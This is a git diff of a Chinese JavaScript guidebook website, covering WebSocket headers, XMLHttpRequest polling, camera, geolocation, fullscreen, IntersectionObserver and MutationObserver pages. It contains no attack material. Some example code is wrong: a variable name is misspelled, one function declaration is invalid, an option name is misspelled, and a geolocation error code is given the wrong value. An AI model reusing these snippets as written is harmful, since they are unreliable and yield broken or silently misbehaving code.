                    Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
                    Sec-WebSocket-Protocol: chat, superchat
                    Sec-WebSocket-Version: 13
                    Origin: http://example.com
                    头字段说明
                    Host(必填)WebSocket 服务器主机名
                    Upgrade(必填)值必须为 websocket
                    Connection(必填)值必须为 Upgrade
                    Sec-WebSocket-Key(必填)Base64 encode 编码的随机 16 字节长的字符序列
                    Sec-WebSocket-Protocol(选填)可用选项有子协议选择器
                    Sec-WebSocket-Version(必填)WebSocket Draft(协议版本)
                    Origin(浏览器必填)头域( RFC6454) 用于保护 WebSocket 服务器不被未授权的运行在浏览器的脚本跨源使用 WebSocket API

                    WebSocket 客户端将上述请求发送到服务器。如果是调用浏览器的 WebSocket API,浏览器会自动完成完成上述请求头。

                    相关类库

                    兼容性

                    语法部分错误

                    IEEdgeFirefoxChromeSafariOpera
                    111863701256
                    // 兼容代码
                    const ws = window.WebSocket
                    ? new window.WebSocket(url, protocol)
                    : new window.MozWebSocket(url, protocol);

                    参考资料:

                    - + diff --git a/browser-object-model/connectivity/xmlhttprequest/index.html b/browser-object-model/connectivity/xmlhttprequest/index.html index c893d89da..aab468482 100644 --- a/browser-object-model/connectivity/xmlhttprequest/index.html +++ b/browser-object-model/connectivity/xmlhttprequest/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -33,12 +36,12 @@
                    xhr.onload = function() {
                    // 请求结束后处理
                    };
                    xhr.send(null);
                    // xhr.send('Hello world!')
                    // xhr.send(new Blob())
                    // xhr.send(new Int8Array())
                    // xhr.send({ form: 'data' })
                    // xhr.send(document)

                    abort

                    XMLHttpRequest.abort 用于当请求已发送后立刻中止请求。当该方法执行后,readyState 将会被置为 XMLHttpRequest.UNSENT,并且请求的 status 属性置为 0。

                    getRequestHeader

                    XMLHttpRequest.getRequestHeader 方法用于获取指定响应头的值,如果响应头还没有被接收,或该响应头不存在,则返回 null

                    注意:使用该方法获取某些响应头时,浏览器会抛出异常,具体原因如下

                    getAllRequestHeaders

                    XMLHttpRequest.getAllResquestHeaders 方法用于获取所有响应头信息(响应头名和值),如果响应头还没有接收,则返回 null

                    ⚠️ 注意:使用该方法获取的响应头首部字段与在开发者工具 Network 面板中看到的响应头不一致。

                    原型事件

                    事件名说明
                    loadstart用于当网络请求发送后触发,即调用 XMLHttpRequest.send 方法后触发,若未被调用则不会触发
                    load用于当请求完成时触发,此时 readyState 值为 DONE(4)
                    loaded用于当某个资源的加载进度停止后触发,例如已经触发 aborterrorload 事件之后
                    progress用于当请求接收到数据的时候被周期性触发。
                    abort用于当请求被暂停时触发。
                    timeout用于当请求超出最大时间时触发。
                    error用于当请求遭遇异常时触发

                    事件执行顺序:

                    应用示例

                    上传数据

                    下载数据

                    传输进度

                    XMLHttpRequest 对象传送数据的时,通过 progress 事件可以获取传输进度信息。

                    它分成上传和下载两种情况:

                    我们先定义 progress 事件的回调函数:

                    function updateProgress(event) {
                    if (event.lengthComputable) {
                    var percentComplete = event.loaded / event.total;
                    }
                    }
                    xhr.onprogress = updateProgress;
                    xhr.upload.onprogress = updateProgress;

                    上面的代码中,event.total 是需要传输的总字节,event.loaded 是已经传输的字节。如果 event.lengthComputable 不为真,则 event.total 等于 0。

                    定时轮询

                    长轮询

                    定时轮询的基本思路就是浏览器每隔一段时间向浏览器发送 HTTP 请求,服务器端在收到请求后,不论是否有数据更新,都直接进行响应。这种方式实现的即时通信,本质上还是浏览器发送请求,服务器接受请求的一个过程,通过让客户端不断的进行请求,使得客户端能够模拟实时地收到服务器端的数据的变化。

                    这种方式的优点是比较简单,易于理解,实现起来也没有什么技术难点。缺点是显而易见的,这种方式由于需要不断的建立 HTTP 连接,严重浪费了服务器端和客户端的资源。尤其是在客户端,距离来说,如果有数量级想对比较大的人同时位于基于短轮询的应用中,那么每一个用户的客户端都会疯狂的向服务器端发送 HTTP 请求,而且不会间断。人数越多,服务器端压力越大,这是很不合理的。

                    因此短轮询不适用于那些同时在线用户数量比较大,并且很注重性能的 Web 应用。

                    const xhr = new XMLHttpRequest();
                    -
                    // 每 1000 毫秒向服务器发送一次轮询请求
                    setInterval(function() {
                    xhr.open('GET', '/server');
                    xhr.onreadystatechange = function() {};
                    xhr.send();
                    }, 1000);

                    长轮询

                    当服务器收到客户端发来的请求后,服务器端不会直接进行响应,而是先将这个请求挂起,然后判断服务器端数据是否有更新。如果有更新,则进行响应,如果一直没有数据,则到达一定的时间限制(服务器端设置)才返回。 。 客户端 JavaScript 响应处理函数会在处理完服务器返回的信息后,再次发出请求,重新建立连接。

                    长轮询和短轮询比起来,明显减少了很多不必要的 http 请求次数,相比之下节约了资源。长轮询的缺点在于,连接挂起也会导致资源的浪费。

                    function checkUpdate() {
                    var xhr = new XMLHttpRequest();
                    xhr.open('GET', '/user');
                    xhr.onreadystatechange = function() {
                    checkUpdate();
                    };
                    xhr.send();
                    }

                    实现思路:

                    1. 处理接收到的数据并启动下一轮检测更新
                    2. 启动下一轮检测更新
                    3. 发起首次更新请求

                    轮询与长轮询都是基于 HTTP 的,两者本身存在着缺陷:

                    两者都是 被动型服务器 的体现:服务器不会主动推送信息,而是在客户端发送 AJAX 请求后进行返回的响应。而理想的模型是在服务器端数据有了变化后,可以主动推送给客户端,这种 主动型 服务器是解决这类问题的很好的方案。Web Sockets 就是这样的方案。

                    那么长轮询总是比定期轮询更好的选择?

                    除非消息到达率已知且不变,否则长轮询将始终提供更短的消息延迟。

                    另一方面,开销讨论需要更细微的观点。首先,请注意,每个传递的消息仍然引起相同的 HTTP 开销;每个新消息都是独立的 HTTP 请求。但是,如果消息到达率高,那么长时间轮询会比定期轮询发出更多的 XHR 请求!

                    长轮询通过最小化消息延迟来动态地适应消息到达速率,这是您可能想要的或可能不需要的行为。如果对消息延迟要求不高的话,则定时轮询可能是更有效的传输方式。例如,如果消息更新速率较高,则定时轮询提供简单的”消息聚合“机制(即合并一定时间内的消息),这可以减少请求数量并提高移动设备的电池寿命。

                    四种前端即时通讯技术比较:

                    长连接


                    参考资料:

                    +
                    // 每 1000 毫秒向服务器发送一次轮询请求
                    setInterval(function() {
                    xhr.open('GET', '/server');
                    xhr.onreadystatechange = function() {};
                    xhr.send();
                    }, 1000);

                    长轮询

                    当服务器收到客户端发来的请求后,服务器端不会直接进行响应,而是先将这个请求挂起,然后判断服务器端数据是否有更新。如果有更新,则进行响应,如果一直没有数据,则到达一定的时间限制(服务器端设置)才返回。 。 客户端 JavaScript 响应处理函数会在处理完服务器返回的信息后,再次发出请求,重新建立连接。

                    长轮询和短轮询比起来,明显减少了很多不必要的 http 请求次数,相比之下节约了资源。长轮询的缺点在于,连接挂起也会导致资源的浪费。

                    function checkUpdate() {
                    var xhr = new XMLHttpRequest();
                    xhr.open('GET', '/user');
                    xhr.onreadystatechange = function() {
                    checkUpdate();
                    };
                    xhr.send();
                    }

                    实现思路:

                    1. 处理接收到的数据并启动下一轮检测更新
                    2. 启动下一轮检测更新
                    3. 发起首次更新请求

                    轮询与长轮询都是基于 HTTP 的,两者本身存在着缺陷:

                    两者都是 被动型服务器 的体现:服务器不会主动推送信息,而是在客户端发送 AJAX 请求后进行返回的响应。而理想的模型是在服务器端数据有了变化后,可以主动推送给客户端,这种 主动型 服务器是解决这类问题的很好的方案。Web Sockets 就是这样的方案。

                    那么长轮询总是比定期轮询更好的选择?

                    除非消息到达率已知且不变,否则长轮询将始终提供更短的消息延迟。

                    另一方面,开销讨论需要更细微的观点。首先,请注意,每个传递的消息仍然引起相同的 HTTP 开销;每个新消息都是独立的 HTTP 请求。但是,如果消息到达率高,那么长时间轮询会比定期轮询发出更多的 XHR 请求!

                    长轮询通过最小化消息延迟来动态地适应消息到达速率,这是您可能想要的或可能不需要的行为。如果对消息延迟要求不高的话,则定时轮询可能是更有效的传输方式。例如,如果消息更新速率较高,则定时轮询提供简单的”消息聚合“机制(即合并一定时间内的消息),这可以减少请求数量并提高移动设备的电池寿命。

                    四种前端即时通讯技术比较:

                    长连接


                    参考资料:

                    - + diff --git a/browser-object-model/device/camera/index.html b/browser-object-model/device/camera/index.html index 55a6901df..aa162fda4 100644 --- a/browser-object-model/device/camera/index.html +++ b/browser-object-model/device/camera/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -36,12 +39,12 @@
                    // 成功的回调函数
                    function success(stream) {
                    // 兼容的webkit核心浏览器
                    const compatobleURL = window.URL || window.webkitURL;
                    // 将视频流设置为video元素的源
                    video.src = compatibleURL.createObjectURL(stream);
                    video.play(); // 播放视频
                    }
                    // 异常的回调函数
                    function error(error) {
                    console.log('访问用户媒体设备失败:', error.name, error.message);
                    }
                    if (
                    navigator.mediaDevices.getUserMedia ||
                    navigator.getUserMedia ||
                    navigator.webkitGetUserMedia ||
                    navigator.mozGetUserMedia
                    ) {
                    // 调用用户媒体设备,访问摄像头
                    getUserMedia({ video: { width: 480, height: 320 } }, success, error);
                    } else {
                    alert('您的浏览器不支持访问用户媒体设备!');
                    }
                    -
                    // 绑定拍照按钮的单击事件
                    document.getElementById('capture').addEventListener('click', function() {
                    context.drawImage(video, 0, 0, 480, 320); // 将video画面在canvas上绘制出来
                    });
                    +
                    // 绑定拍照按钮的单击事件
                    document.getElementById('capture').addEventListener('click', function() {
                    context.drawImage(video, 0, 0, 480, 320); // 将video画面在canvas上绘制出来
                    });
                    - + diff --git a/browser-object-model/device/geolocation/index.html b/browser-object-model/device/geolocation/index.html index 9bfccf422..51665fa4f 100644 --- a/browser-object-model/device/geolocation/index.html +++ b/browser-object-model/device/geolocation/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                    地理定位 Geolocation API

                    根据用户的地理位置提供相关地区服务,已经是非常普遍的一项功能,例如本地生活服务类网站、外卖网站等。HTML5 新功能中提供了获取用户位置的能力。

                    各主要浏览器对 HTML5 Geolocation API 的支持情况:

                    浏览器版本只支持 HTTPS 版本
                    IE9+-
                    Edge12+-
                    Firefox3.5+-
                    Chrome5+50+
                    Safari5+39+
                    iOS Safari3.2+10.2+
                    Android Browser2.1+56+
                    Chrome for Android57+57+
                    UC Browser for Android11.4+-

                    注意:处于安全考虑,部分最新的浏览器的浏览器只允许通过 HTTPS 协议使用 Geolocation API。在 HTTPS 协议下使用 Geolocation API,浏览器会抛出异常。在开发阶段,127.0.0.1 和 localhost 等本地域在两种协议下均可以使用。

                    Geolocation API 通过 navigator.geolocation 全局对象进行访问。初次访问时,浏览器会询问用户是否允许共享位置,若用户选择允许则程序获得使用 Geolocation API 权限。判断浏览器是否存在 navigator.geolocation 对象来得知。

                    if (navigator.geolocation) {
                    // 获取地理位置
                    } else {
                    alert('您的浏览器不支持Geolocation!');
                    }

                    获取用户的当前位置,可以调用 navigator.geolocationgetCurrentPosition 方法。

                    if (navigator.geolocation){
                    navigator.geolocation.getCurrentPosition(
                    function success(position)(){
                    console.log('获取位置成功:', position.coords);
                    },
                    function error(positionError){
                    console.log('获取位置失败:', positionError.code,
                    positionError.message);
                    -
                    },
                    {
                    enableHightAccuracy: false,
                    timeout: 30000,
                    maximumAge: 0
                    }
                    )
                    } else {
                    alert('您的浏览器不支持Geolocation!');
                    }

                    成功获取位置后,会调用回调函数 success。返回参数 position 对象包含获取位置时的时间戳 timestamp 和坐标信息 coordscoords 对象包含了很多有用的位置数据信息,列举几个常用的属性:

                    属性说明
                    latitude坐标纬度
                    longitude坐标经度
                    accuracy坐标精度,单位为米

                    当获取位置失败时,会调用回调函数 error。返回的参数 positionErrormessage 属性包含了相关的错误信息描述,positionError.code 标识错误的原因,positionError.code 的值有以下几种。

                    属性说明
                    UNKNOWN_ERROR(0)其他错误
                    PERMISSION_DENIED(1)用户拒绝分享位置信息
                    POSITION_UNAVAILABLE(3)获取用户位置信息失败
                    TIMEOUT(3)获取用户位置信息超时

                    gerCurrentPosition 方法的参数 options 可以设置以下内容。

                    属性说明
                    enableHighAccuray布尔值,是否获取高精度的位置信息,如果开启,可能会增加响应时间,默认值为 false
                    timeout定位超时时间,单位毫秒,如到达时间时没有取得用户位置信息,则触发失败回调函数,默认值为 0,表示无限大
                    maximumAge用户位置信息缓存的最大时间(单位为毫秒),默认值为 0

                    当用户位置变化时,还可以通过 watchPosition 方法监听用户的位置信息,watchPosition 的参数和 getCurrentPosition 相同。函数执行后返回一个唯一标识,可以使用 clearWatch 方法来取消监听。

                    const watchId = navigator.geolocation.watchPosition(success, error, options);
                    navigator.geolocation.clearWatch(watchId);
                    +
                    },
                    {
                    enableHightAccuracy: false,
                    timeout: 30000,
                    maximumAge: 0
                    }
                    )
                    } else {
                    alert('您的浏览器不支持Geolocation!');
                    }

                    成功获取位置后,会调用回调函数 success。返回参数 position 对象包含获取位置时的时间戳 timestamp 和坐标信息 coordscoords 对象包含了很多有用的位置数据信息,列举几个常用的属性:

                    属性说明
                    latitude坐标纬度
                    longitude坐标经度
                    accuracy坐标精度,单位为米

                    当获取位置失败时,会调用回调函数 error。返回的参数 positionErrormessage 属性包含了相关的错误信息描述,positionError.code 标识错误的原因,positionError.code 的值有以下几种。

                    属性说明
                    UNKNOWN_ERROR(0)其他错误
                    PERMISSION_DENIED(1)用户拒绝分享位置信息
                    POSITION_UNAVAILABLE(3)获取用户位置信息失败
                    TIMEOUT(3)获取用户位置信息超时

                    gerCurrentPosition 方法的参数 options 可以设置以下内容。

                    属性说明
                    enableHighAccuray布尔值,是否获取高精度的位置信息,如果开启,可能会增加响应时间,默认值为 false
                    timeout定位超时时间,单位毫秒,如到达时间时没有取得用户位置信息,则触发失败回调函数,默认值为 0,表示无限大
                    maximumAge用户位置信息缓存的最大时间(单位为毫秒),默认值为 0

                    当用户位置变化时,还可以通过 watchPosition 方法监听用户的位置信息,watchPosition 的参数和 getCurrentPosition 相同。函数执行后返回一个唯一标识,可以使用 clearWatch 方法来取消监听。

                    const watchId = navigator.geolocation.watchPosition(success, error, options);
                    navigator.geolocation.clearWatch(watchId);
                    - + diff --git a/browser-object-model/device/index.html b/browser-object-model/device/index.html index ae96d2af2..ca73b3b1d 100644 --- a/browser-object-model/device/index.html +++ b/browser-object-model/device/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/browser-object-model/device/position/index.html b/browser-object-model/device/position/index.html index 4dbffe2b7..4bf893704 100644 --- a/browser-object-model/device/position/index.html +++ b/browser-object-model/device/position/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 位置信息 Position API - JavaScript Guidebook -

                    位置信息 Position API

                    Position 接口表示在给定的时间的相关设备的位置。这个设备,用一个 Coordinates 对象表示,包括设备在地球上的二维位置,但也可以包括设备的海拔和速度。

                    属性

                    Position 接口没有继承任何属性。

                    属性说明
                    Position.coords返回一个当前位置的 Coordinates 对象。
                    Position.timestamp返回一个时间戳 DOMTimeStamp,这个时间戳表示获取到的位置的时间。

                    方法

                    Position 接口没有实现也没有继承任何方法。


                    参考资料:

                    +

                    位置信息 Position API

                    Position 接口表示在给定的时间的相关设备的位置。这个设备,用一个 Coordinates 对象表示,包括设备在地球上的二维位置,但也可以包括设备的海拔和速度。

                    属性

                    Position 接口没有继承任何属性。

                    属性说明
                    Position.coords返回一个当前位置的 Coordinates 对象。
                    Position.timestamp返回一个时间戳 DOMTimeStamp,这个时间戳表示获取到的位置的时间。

                    方法

                    Position 接口没有实现也没有继承任何方法。


                    参考资料:

                    - + diff --git a/browser-object-model/index.html b/browser-object-model/index.html index 5d937e2db..23f03ca15 100644 --- a/browser-object-model/index.html +++ b/browser-object-model/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + BOM 浏览器对象模型 - JavaScript Guidebook -
                      +
                        - + diff --git a/browser-object-model/integration/full-screen/index.html b/browser-object-model/integration/full-screen/index.html index 1e6b34ca8..97d33782e 100644 --- a/browser-object-model/integration/full-screen/index.html +++ b/browser-object-model/integration/full-screen/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                        全屏 Fullscreen API

                        全屏 API 为使用用户的整个屏幕展现网络内容提供了一种简单的方式。这种 API 让你可以简单地控制浏览器,使得一个元素与其子元素,如果存在的话,可以占据整个屏幕,并在此期间,从屏幕上隐藏所有的浏览器用户界面以及其他应用。

                        激活全屏模式

                        通过 DOM 元素的 requestFullScreen() 方法可以激活全屏模式。

                        最常见的场景是视频窗口的全屏模式:

                        <video id="_video" src="blob:https://wwww.example.com/"></video>
                        const video = document.getElementById('_video');
                        -
                        video.addEventListener('click', function() {
                        if (video.requestFullscreen) {
                        video.requestFullscreen();
                        } else if (video.msRequestFullscreen) {
                        video.msRequestFullscreen();
                        } else if (video.mozRequestFullscreen) {
                        video.mozRequestFullscreen();
                        } else if (video.webkitRequestFullscreen) {
                        video.webkitRequestFullscreen();
                        }
                        });

                        显示差异

                        Gecko 和 Webkit 内核实现效果存在关键差异:

                        • Gecko 会自动为元素添加 CSS 规则,使其拉伸以填满屏幕 width: 100%;height: 100%;
                        • Webkit 没有这样做,相反地,它将全屏元素剧中,并以同样的大小显示,而屏幕的其他部分为黑色

                        为了在 Webkit 中获得相同的全屏行为,你需要自行元素添加 width: 100%;height: 100%

                        #video:-webkit-full-screen {
                        width: 100%;
                        height: 100%;
                        }

                        另一个方面,如果你尝试在 Gecko 上模拟 Webkit 的行为,你需要把你想要呈现的元素放在另一个实际调整为全屏幕的元素中,并使用 CSS 规则调整内部元素,达到你想要的样式。

                        通知

                        当成功进入全屏模式时,包含该元素的文档会收到 fullscreenchange 事件。当退出全屏模式时,文档会再次收到该事件。注意此事件本身,不管在文档进入和退出全屏模式时,都不会提供任何信息,但如果文档有一个非空的 fullscreenElement,你就可以得知你处于全屏模式中。

                        退出全屏模式

                        通过调用 document.exitFullscreen() 方法能退出全屏模式。

                        其他信息

                        document 提供了一些额外的信息,在开发全屏网络应用时能够使用。

                        属性说明
                        fullscreenElement当前以全屏模式显示的元素。若此项非空,文档处于全屏模式中,否则不在该模式中。
                        fullscreenEnabled当前文档是否为允许请求进入全屏模式的状态。

                        参考资料:

                        +
                        video.addEventListener('click', function() {
                        if (video.requestFullscreen) {
                        video.requestFullscreen();
                        } else if (video.msRequestFullscreen) {
                        video.msRequestFullscreen();
                        } else if (video.mozRequestFullscreen) {
                        video.mozRequestFullscreen();
                        } else if (video.webkitRequestFullscreen) {
                        video.webkitRequestFullscreen();
                        }
                        });

                        显示差异

                        Gecko 和 Webkit 内核实现效果存在关键差异:

                        为了在 Webkit 中获得相同的全屏行为,你需要自行元素添加 width: 100%;height: 100%

                        #video:-webkit-full-screen {
                        width: 100%;
                        height: 100%;
                        }

                        另一个方面,如果你尝试在 Gecko 上模拟 Webkit 的行为,你需要把你想要呈现的元素放在另一个实际调整为全屏幕的元素中,并使用 CSS 规则调整内部元素,达到你想要的样式。

                        通知

                        当成功进入全屏模式时,包含该元素的文档会收到 fullscreenchange 事件。当退出全屏模式时,文档会再次收到该事件。注意此事件本身,不管在文档进入和退出全屏模式时,都不会提供任何信息,但如果文档有一个非空的 fullscreenElement,你就可以得知你处于全屏模式中。

                        退出全屏模式

                        通过调用 document.exitFullscreen() 方法能退出全屏模式。

                        其他信息

                        document 提供了一些额外的信息,在开发全屏网络应用时能够使用。

                        属性说明
                        fullscreenElement当前以全屏模式显示的元素。若此项非空,文档处于全屏模式中,否则不在该模式中。
                        fullscreenEnabled当前文档是否为允许请求进入全屏模式的状态。

                        参考资料:

                        - + diff --git a/browser-object-model/integration/index.html b/browser-object-model/integration/index.html index aa3a88626..79bb79804 100644 --- a/browser-object-model/integration/index.html +++ b/browser-object-model/integration/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/browser-object-model/observer/index.html b/browser-object-model/observer/index.html index 17e7d1d6d..d73dc7835 100644 --- a/browser-object-model/observer/index.html +++ b/browser-object-model/observer/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/browser-object-model/observer/intersection-observer/index.html b/browser-object-model/observer/intersection-observer/index.html index 491316298..697407a8e 100644 --- a/browser-object-model/observer/intersection-observer/index.html +++ b/browser-object-model/observer/intersection-observer/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -36,12 +39,12 @@
                        loadItems(10);
                        console.log('Loaded new items');
                        });
                        // 开始观察
                        intersectionObserver.observe(document.querySelector('.scrollFooter'));

                        无限滚动时,最好在页面底部有个页尾栏(又称 sentinels)。一旦页尾栏可见,就表示用户到达了页面底部,从而加载新的条目放在页尾栏前面。这样做的好处是,不需要再次调用 observe() 方法,现有的 IntersectionObserver 可以保持使用。

                        Option 对象

                        IntersectionObserver 构造函数的第二个参数是个配置对象,它可以设置以下属性。

                        threshold 属性

                        threshold 属性决定了什么时候出发回调函数。它是一个数组,每个成员都是一个门槛值,默认为 [0],即交叉比例(intersectionRatio)达到 0 时触发回调函数。

                        new IntersectionObserver(entries => {}, {
                        threshold: [0, 0.25, 0.5, 0.75, 1],
                        });

                        用户可以自定义个数组。比如 [0, 0.25, 0.5, 0.75, 1] 就表示当目标元素 0%、25%、50%、75%、100% 可见时,会触发回调函数。

                        root 和 rootMargin 属性

                        很多时候,目标元素不仅会随着窗口滚动,还会在容器里面滚动(比如在 iframe 窗口里滚动)。容器内滚动也会影响目标元素的可见性,参见本文开始时的那张示意图。

                        IntersectionObserver API 支持容器内滚动。root 属性指定目标元素所在的容器节点(即根元素)。注意,容器元素必须是目标元素的祖先节点。

                        const opts = {
                        root: document.querySelector('.container'),
                        rootMargin: '500px 0px',
                        };
                        -
                        const observer = new IntersectionObserver(callback, opts);

                        上面代码中,除了 root 属性,还有 rootMargin 属性。后者定义根元素的 margin,用来扩展或缩小 rootBounds 这个矩形的大小,从而影响 intersectionRect 交叉区域的大小。它使用 CSS 的定义方法,比如 10px 20px 30px 40px,表示 top、right、bottom 和 left 四个方向的值。

                        这样设置以后,不管是窗口滚动或者容器内滚动,只要目标元素可见性变化,都会触发观察器。

                        注意点

                        IntersectionObserver API 是异步的,不随着目标元素的滚动同步触发。

                        规格写明,IntersectionObserver 的实现,应该采用 requestIdleCallback(),即只有线程空闲下来,才会执行观察器。这意味着,这个观察器的优先级非常低,只有其他任务执行完,浏览器有了空闲才会执行。


                        参考资料:

                        +
                        const observer = new IntersectionObserver(callback, opts);

                        上面代码中,除了 root 属性,还有 rootMargin 属性。后者定义根元素的 margin,用来扩展或缩小 rootBounds 这个矩形的大小,从而影响 intersectionRect 交叉区域的大小。它使用 CSS 的定义方法,比如 10px 20px 30px 40px,表示 top、right、bottom 和 left 四个方向的值。

                        这样设置以后,不管是窗口滚动或者容器内滚动,只要目标元素可见性变化,都会触发观察器。

                        注意点

                        IntersectionObserver API 是异步的,不随着目标元素的滚动同步触发。

                        规格写明,IntersectionObserver 的实现,应该采用 requestIdleCallback(),即只有线程空闲下来,才会执行观察器。这意味着,这个观察器的优先级非常低,只有其他任务执行完,浏览器有了空闲才会执行。


                        参考资料:

                        - + diff --git a/browser-object-model/observer/mutation-observer/index.html b/browser-object-model/observer/mutation-observer/index.html index 1378075fa..f09124eab 100644 --- a/browser-object-model/observer/mutation-observer/index.html +++ b/browser-object-model/observer/mutation-observer/index.html @@ -7,46 +7,49 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + MutationObserver API - JavaScript Guidebook -

                        MutationObserver API

                        MutationObservr API 用于监视 DOM 的任何变动,比如节点的增减、属性的变动、文本内容的变动,这个 API 都可以得到通知。

                        DOM 发生变动都会触发 Mutation Observer 事件。但是,它跟事件还是有不同点:事件是同步触发的,DOM 变化立即触发相应的事件;Mutation Observer 是一部触发,DOM 变化不会马上触发,而是等当前所有 DOM 操作都结束后才触发。

                        总的来说,特点如下:

                        • 它等待所有脚本任务完成后,才会运行(即一步触发方式)
                        • 它把 DOM 变动记录封装成一个数组进行处理,而不是一条条个别处理 DOM 变动
                        • 它既可以观察 DOM 的所有类型变动,也可以指定只观察某类变动

                        接口定义

                        declare var MutationObserver: {
                        new(callback: Mutationcallback): MutationObserver;
                        -
                        prototype: MutationObserver;
                        }
                        -
                        interface MutationObserver {
                        constructor(MutationCallback callback);
                        -
                        /**
                        * @param target 被观察的 DOM 节点
                        * @param options 配置对象(指定所要观察特征)
                        */
                        observer(target: Node, options?: MutationObserverInit): void;
                        +

                        MutationObserver API

                        MutationObservr API 用于监视 DOM 的任何变动,比如节点的增减、属性的变动、文本内容的变动,这个 API 都可以得到通知。

                        DOM 发生变动都会触发 Mutation Observer 事件。但是,它跟事件还是有不同点:事件是同步触发的,DOM 变化立即触发相应的事件;Mutation Observer 是一部触发,DOM 变化不会马上触发,而是等当前所有 DOM 操作都结束后才触发。

                        总的来说,特点如下:

                        • 它等待所有脚本任务完成后,才会运行(即一步触发方式)
                        • 它把 DOM 变动记录封装成一个数组进行处理,而不是一条条个别处理 DOM 变动
                        • 它既可以观察 DOM 的所有类型变动,也可以指定只观察某类变动

                        接口定义

                        declare var MutationObserver: {
                        new(callback: Mutationcallback): MutationObserver;
                        +
                        prototype: MutationObserver;
                        }
                        +
                        interface MutationObserver {
                        constructor(MutationCallback callback);
                        +
                        /**
                        * @param target 被观察的 DOM 节点
                        * @param options 配置对象(指定所要观察特征)
                        */
                        observer(target: Node, options?: MutationObserverInit): void;
                        disconnect(): void;
                        -
                        takeRecords(): MutationRecord[];
                        }
                        -
                        interface MutationObserverInit {
                        /* 观察特定属性 */
                        attributeFilter?: string[];
                        /* 观察 attributes 变动时,是否需要记录变动前的属性值 */
                        attributeOldValue?: boolean;
                        /* 属性的变动*/
                        attributes?: boolean;
                        /* 节点内容或节点文本的变动*/
                        characterData?: boolean;
                        /* 观察 characterData 变动,是否需要记录变动前的值 */
                        characterDataOldValue?: boolean;
                        /* 子节点的变动(新增、删除或者更改) */
                        childList?: boolean;
                        /* 是否将观察器应用于该节点的所有后代节点 */
                        subtree?: boolean;
                        }
                        -
                        interface MutationRecord {
                        +
                        takeRecords(): MutationRecord[];
                        }
                        +
                        interface MutationObserverInit {
                        /* 观察特定属性 */
                        attributeFilter?: string[];
                        /* 观察 attributes 变动时,是否需要记录变动前的属性值 */
                        attributeOldValue?: boolean;
                        /* 属性的变动*/
                        attributes?: boolean;
                        /* 节点内容或节点文本的变动*/
                        characterData?: boolean;
                        /* 观察 characterData 变动,是否需要记录变动前的值 */
                        characterDataOldValue?: boolean;
                        /* 子节点的变动(新增、删除或者更改) */
                        childList?: boolean;
                        /* 是否将观察器应用于该节点的所有后代节点 */
                        subtree?: boolean;
                        }
                        +
                        interface MutationRecord {
                        }

                        应用实战

                        基本用法

                        // 获取需要观察变动的元素节点
                        const targetElement = document.getElementById('observer');
                        // 观察器的配置(需要观察什么变动)
                        const config = { attributes: true, childList: true, subtree: true };
                        // 当观察到变动时执行的回调函数
                        const onMutationObserverChange = function(mutationsList, observer) {
                        for (let mutation of mutationsList) {
                        if (mutation.type === 'childList') {
                        console.log('A child node has been added or removed');
                        } else if (mutation.type === 'attributes') {
                        console.log(mutation.attributeName);
                        }
                        }
                        };
                        // 创建一个观察器实例并传入回调函数
                        const observer = new MutationObserver(onMutationObserverChange);
                        // 以上述配置开始观察目标节点
                        observer.observe(targetNode, config);
                        -
                        // 停止观察
                        observer.disconnect();

                        参考资料

                        +
                        // 停止观察
                        observer.disconnect();

                        参考资料

                        - + diff --git a/browser-object-model/offline-and-storage/browser-cache/index.html b/browser-object-model/offline-and-storage/browser-cache/index.html index 631d97c20..fae5a7954 100644 --- a/browser-object-model/offline-and-storage/browser-cache/index.html +++ b/browser-object-model/offline-and-storage/browser-cache/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 浏览器缓存机制 - JavaScript Guidebook -

                        浏览器缓存机制

                        缓存是一种保存资源副本并在下次请求时直接使用该副本的技术。

                        浏览器缓存(Brower Caching)是浏览器在本地磁盘对用户最近请求过的文档进行存储,当访问者再次访问同一页面时,浏览器就可以直接从本地磁盘加载文档。

                        很多开发者习惯把 Cookie、WebStorage 以及 IndexedDB 存储的数据也称之为缓存,理由是都是保存在客户端的数据,没有什么区别。其实这是不严谨的,Cookie 的存在更多的是为了让服务端区别用户,WebStorage 和 IndexedDB 则更多用在保存具体的数据和在客户端存储大量结构化数据(文件 / Blobs)上面。

                        缓存的作用

                        1. 缓解服务器压力(不用每次去请求资源)
                        2. 提升性能(打开本地资源速度当然比请求回来再打开要快得多)
                        3. 减少带宽消耗(我相信你可以理解)

                        缓存在宏观上可以分成两类:私有缓存共享缓存。共享缓存就是那些能被各级代理缓存的缓存。私有缓存就是用户专享的,各级代理不能缓存的缓存。

                        浏览器缓存

                        我相信只要你经常使用某个浏览器(Chrome、Firefox、IE 等),肯定知道这些浏览器在设置里面都是有个清除缓存功能,这个功能存在的作用就是删除存储在你本地磁盘上资源副本,也就是清除缓存。

